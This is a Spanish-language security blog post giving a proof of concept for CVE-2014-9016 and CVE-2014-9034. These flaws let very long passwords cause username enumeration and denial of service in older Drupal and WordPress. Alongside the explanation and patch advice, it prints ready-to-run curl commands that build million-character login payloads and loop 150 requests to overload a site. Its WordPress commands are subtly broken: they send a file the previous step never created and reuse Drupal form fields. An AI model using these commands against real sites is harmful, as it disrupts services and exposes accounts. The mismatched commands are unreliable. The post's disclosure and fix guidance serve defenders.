Tienda Wifi

Tienda Wifi
CiudadWireless es la tienda Wifi recomendada por elhacker.NET

Buscador

Entradas Mensuales

Suscripción

¿Quieres recibir las últimas novedades del blog en tu correo?

¡Suscríbete al feed!

Foro de elhacker.net - Noticias

elhacker.NET en Facebook

Entradas populares

PostHeaderIcon (PoC) Proof of Concept Wordpress y Drupal (CVE-2014-9016 y CVE-2014-9034)




Los autores del bug (CVE-2014-9016 y CVE-2014-9034) que causa un DoS (por uso excesivo de CPU) muestran una prueba de concepto (PoC) de la vulnerabilidad.asumiendo que ya ha pasado el suficiente tiempo desde la actualización de seguridad de los conocidos CMS Wordpress 4.0.1 y Drupal 7.34Los autores creen en el "Responsible Disclosure" y por ese motivo no se publicó antes.





Versiones Drupal afectadas

  • Drupal core 7.x versions anteriores a 7.34
  • Secure Password Hashes 6.x-2.x versiones anteriores a 6.x-2.1.

Más información:


Detalles de la vulnerabilidad

 
Se ha descubierto una vulnerabilidad que puede ser usado en instalaciones por defecto de Drupal  con el fin de:

  •      adivinar nombres de usuario
  •      Realizar una denegación de servicio (DoS)


Con los escenarios siguientes, vamos a mostrar cómo funciona este ataque. Cuando queremos acceder a Drupal sitio, tenemos que escribir un nombre de usuario y una contraseña:

Escenario 1:
Si el usuario no existe, el hash de la contraseña no se calcula porque el usuario no existe.

Escenario 2:
Si existe el nombre de usuario, el hash de la contraseña se calcula y compara con el hash almacenado en la base de datos. Si el hash comparación es la misma, se le concede acceso al sistema. Si no, usted es rechazado.

Escenario 3 - Aprovechando la vulnerabilidad:

adivinando usuario
Si existe el nombre de usuario y la contraseña escrita es, por ejemplo 1000000 veces, el hecho de que cuando se genera un hash de la contraseña tan larga con el fin de compararlo con el hash almacenado en la base de datos, se necesita mucho más tiempo y la medición del tiempo se incrementa . Así que si se aumenta el retardo, existe el nombre de usuario.

En Drupal, la forma de calcular el hash de la contraseña (SHA512 con un salt) utilizando resultados phpass en los recursos de la CPU que se ve afectada cuando se proporcionan contraseñas muy largas.



Denegación de servicio
Si llevamos a cabo varios intentos de conexión mediante el uso de un nombre de usuario válido al mismo tiempo con contraseñas largas, que causa una denegación de servicio en el servidor. Hemos observado dos escenarios diferentes en un 7,32, Apache y MySQL instalación por defecto de Drupal. Dependiendo del número de intentos de conexión y el tiempo entre ellos, que tendrá dos escenarios diferentes:

  •      El ataque DOS se bloquea todo el servidor porque se llega a la memoria RAM y swap. También se llegó a la CPU.
  •  
  •      El ataque DOS se bloquea la base de datos.

 

Note que el servidor no se bloquea debido al cálculo de hash. La vulnerabilidad aparece junto con Apache, porque Apache espera a PHP para terminar el cálculo hash. En un proceso de autenticación concurrente con un usuario válido y contraseñas muy largas, por un lado PHP consume la CPU con los procesos de cálculo y en el otro lado, los procesos de Apache que están esperando, consume la memoria hasta que el servidor o los accidentes de base de datos.

Si la configuración de apache está optimizado y ajustado a los recursos de hardware, somos capaces de llegar a todas las sesiones disponibles de forma rápida y manejarlos durante 30 segundos los cuales realiza una DOS sin que se caiga el servidor o base de datos.

¿Por qué pusimos 30 segundos?

30 segundos es el tiempo máximo que se permite correr a un script antes de ser detenido por el intérprete. Por defecto, el valor max_execution_time está establecido en 30 en la configuración php.ini. Esto ayuda a prevenir que scripts pobremente escritos congestionen el servidor.



Vídeo



Sript Python Code

Python script for Wordpress User Enumeration Time-Based Attack CVE-2014-9034

Uso:

-u,--url, URL to scan (http://127.0.0.1)
-U,--user, User to scan
-f,--file, File with user names
-n,--num, Number of characters to use (default 1000000)
-d,--dos, Try to stablish a DOS condition
-t,--threads, Number of connections attemps (every 10 seconds) for the DOS attack (default 10)
--proxy, SOCKS 5 proxy, tipically TOR use: 127.0.0.1:9050

Drupal Denial of Service CVE-2014-9016

Generate a pyaload and try with a non-valid user:
$ echo -n "name=NO-VALID-USER&pass=" > no_valid_user_payload && printf "%s" {1..1000000} >> no_valid_user_payload && echo -n "&op=Log in&form_id=user_login" >> no_valid_user_payload
$ time curl --data @no_valid_user_payload http://yoursite/drupal/?q=user --silent > /dev/null &

Generate a pyaload and try with a valid user:
$ echo -n "name=admin&pass=" > valid_user_payload && printf "%s" {1..1000000} >> valid_user_payload && echo -n "&op=Log in&form_id=user_login" >> valid_user_payload
$ time curl --data @valid_user_payload http://yoursite/drupal/?q=user --silent > /dev/null &

Perform a Dos with a valid user:
$ for i in `seq 1 150`; do (curl --data @valid_user_payload http://yoursite/drupal/?q=user --silent > /dev/null &); sleep 0.25; done

Wordpress Denial of Service CVE-2014-9034

Generate a pyaload and try with a non-valid user:

$ echo -n "log=NO-VALID-USER&pwd=" > payload && printf "%s" {1..1000000} >> payload && echo -n "&wp-submit=Log In" >> payload

$ time curl --data @no_valid_user_payload http://yoursite/wordpress/wp-login.php --silent > /dev/null &

Generate a pyaload and try with a valid user:

$ echo -n "name=admin&pass=" > valid_user_payload && printf "%s" {1..1000000} >> valid_user_payload && echo -n "&op=Log in&form_id=user_login" >> valid_user_payload

$ time curl --data @valid_user_payload http://yoursite/wordpress/wp-login.php --silent > /dev/null &

Perform a Dos with a valid user:

$ for i in `seq 1 150`; do (curl --data @valid_user_payload http://yoursite/wordpress/wp-login.php  --silent > /dev/null &); sleep 0.25; done


Parche - Fix

 
Instalar la versión más reciente:

  •      Si utilizas Drupal 7.x, actualiza a Drupal core 7.34.
  •      Si utilizas el módulo Secure hashes de contraseñas para Drupal 6.x, actualizar a Secure Hash Contraseña 6.x-2.1 Véase también la contraseña segura Hash página del proyecto.
  •      Si ha configurado un archivo personalizado password.inc para su sitio que necesita para asegurarse de que no es propenso a la misma vulnerabilidad.


Drupal versión 7.34 verifica que las contraseñas de más de 512 bytes no se "hashean"


Referencias, fuente:
http://www.behindthefirewalls.com/2014/12/cve-2014-9016-and-cve-2014-9034-PoC.html

0 comentarios :

Publicar un comentario

Los comentarios pueden ser revisados en cualquier momento por los moderadores.

Serán publicados aquellos que cumplan las siguientes condiciones:
- Comentario acorde al contenido del post.
- Prohibido mensajes de tipo SPAM.
- Evite incluir links innecesarios en su comentario.
- Contenidos ofensivos, amenazas e insultos no serán permitidos.

Debe saber que los comentarios de los lectores no reflejan necesariamente la opinión del STAFF.